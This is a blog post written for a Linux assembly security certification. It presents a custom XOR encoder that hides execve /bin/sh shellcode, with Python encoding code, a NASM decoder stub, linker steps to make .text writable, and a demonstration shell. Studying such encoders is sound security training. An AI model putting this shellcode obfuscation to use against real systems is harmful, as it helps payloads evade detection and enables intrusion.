Assignment #4
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/ Student ID: SLAE-1228
My idea for a custom encoder is very simple, in fact. In short, I broke the encoded shellcode in two parts: the even and odd positions. What this encoder does is reading the encoded string byte by byte and treating the bytes in odd and even positions differently. The biggest difficult was to create this decision making mechanism, which consists in two conditional jumps inside a loop. Depending whether it is an odd or even position, the current byte will be XORed with 0xAA or 0xBB.
Odd-Even XOR encoder
I used python3.5
for encoding the execve shellcode:
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
encoded = ""
encoded2 = ""
for idx, x in enumerate(shellcode):
if idx%2 == 0:
y = x ^ 0xaa
else:
y = x ^ 0xbb
encoded += '\\x'
encoded += '%02x' % (y & 0xff)
encoded2 += '0x'
encoded2 += '%02x,' %(y & 0xff)
print(encoded)
print(encoded2)
Generating the encoded shellcode:
$ python3.5 encoder.py
\x9b\x7b\xfa\xd3\x85\x94\xd9\xd3\xc2\x94\xc8\xd2\xc4\x32\x49\xeb\x23\x59\xf9\x32\x4b\x0b\xa1\x76\x2a
0x9b,0x7b,0xfa,0xd3,0x85,0x94,0xd9,0xd3,0xc2,0x94,0xc8,0xd2,0xc4,0x32,0x49,0xeb,0x23,0x59,0xf9,0x32,0x4b,0x0b,0xa1,0x76,0x2a,
Odd-Even XOR decoder
After JMP-CALL-POP, we are inside the loop which runs over the whole encrypted shellcode (25 bytes). The first thing we do is checking whether the position index is even or odd and jump to the corresponding piece of code. After XORing the current byte of the encoded shellcode, it loops back to the decode
label, continuing the loop.
global _start
section .text
_start:
jmp short call_shellcode
decoder:
pop esi
xor ecx, ecx
mov cl, 25
decode:
test cl, 1
jz even
jnz odd
even:
mov bx, [esi]
xor bx, 0xBB
mov [esi], bl
inc esi
loop decode
jmp short EncodedShellcode
odd:
mov bx, [esi]
xor bx, 0xAA
mov [esi], bl
inc esi
loop decode
jmp short EncodedShellcode
call_shellcode:
call decoder
EncodedShellcode: db 0x9b,0x7b,0xfa,0xd3,0x85,0x94,0xd9,0xd3,0xc2,0x94,0xc8,0xd2,0xc4,0x32,0x49,0xeb,0x23,0x59,0xf9,0x32,0x4b,0x0b,0xa1,0x76,0x2a
This is a CFG visualization of the decoder generated by IDA.
A small caveat
In order to be able to modify the encrypted shellcode (ie to substitute its bytes for the decrypted ones) we must remember it is located in the .text
section which is not writable by default.
Lets assemble and link our decoder:
$ nasm -f elf32 decoder.asm -o decoder.o ; ld -m elf_i386 decoder.o -o decoder
Now we check sessions permissions using readelf
:
$ readelf -S decoder
There are 5 section headers, starting at offset 0x1fc:
Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[ 0] NULL 00000000 000000 000000 00 0 0 0
[ 1] .text PROGBITS 08048060 000060 00004a 00 AX 0 0 16
[ 2] .symtab SYMTAB 00000000 0000ac 0000d0 10 3 9 4
[ 3] .strtab STRTAB 00000000 00017c 00005d 00 0 0 1
[ 4] .shstrtab STRTAB 00000000 0001d9 000021 00 0 0 1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
L (link order), O (extra OS processing required), G (group), T (TLS),
C (compressed), x (unknown), o (OS specific), E (exclude),
p (processor specific)
Just confirming where our string is:
objdump -d decoder | grep EncodedShellcode
...
08048091 <EncodedShellcode>:
...
So yeah, in .text
section, which is not Writable. To make it writable we need to link it with the -N
parameter:
-N
--omagic
Set the text and data sections to be readable and writable. Also, do not page-align the data segment, and disable linking against
shared libraries. If the output format supports Unix style magic numbers, mark the output as "OMAGIC". Note: Although a writable
text section is allowed for PE-COFF targets, it does not conform to the format specification published by Microsoft.
Therefore:
$ nasm -f elf32 decoder.asm -o decoder.o ; ld -N -m elf_i386 decoder.o -o decoder
Checking permissions:
$ readelf -S decoder
There are 5 section headers, starting at offset 0x1fc:
Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[ 0] NULL 00000000 000000 000000 00 0 0 0
[ 1] .text PROGBITS 08048060 000060 00004a 00 WAX 0 0 16
[ 2] .symtab SYMTAB 00000000 0000ac 0000d0 10 3 9 4
[ 3] .strtab STRTAB 00000000 00017c 00005d 00 0 0 1
[ 4] .shstrtab STRTAB 00000000 0001d9 000021 00 0 0 1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
L (link order), O (extra OS processing required), G (group), T (TLS),
C (compressed), x (unknown), o (OS specific), E (exclude),
p (processor specific)
There we go, writable .text
section!. Executing it:
$ ./decoder
$ whoami
valle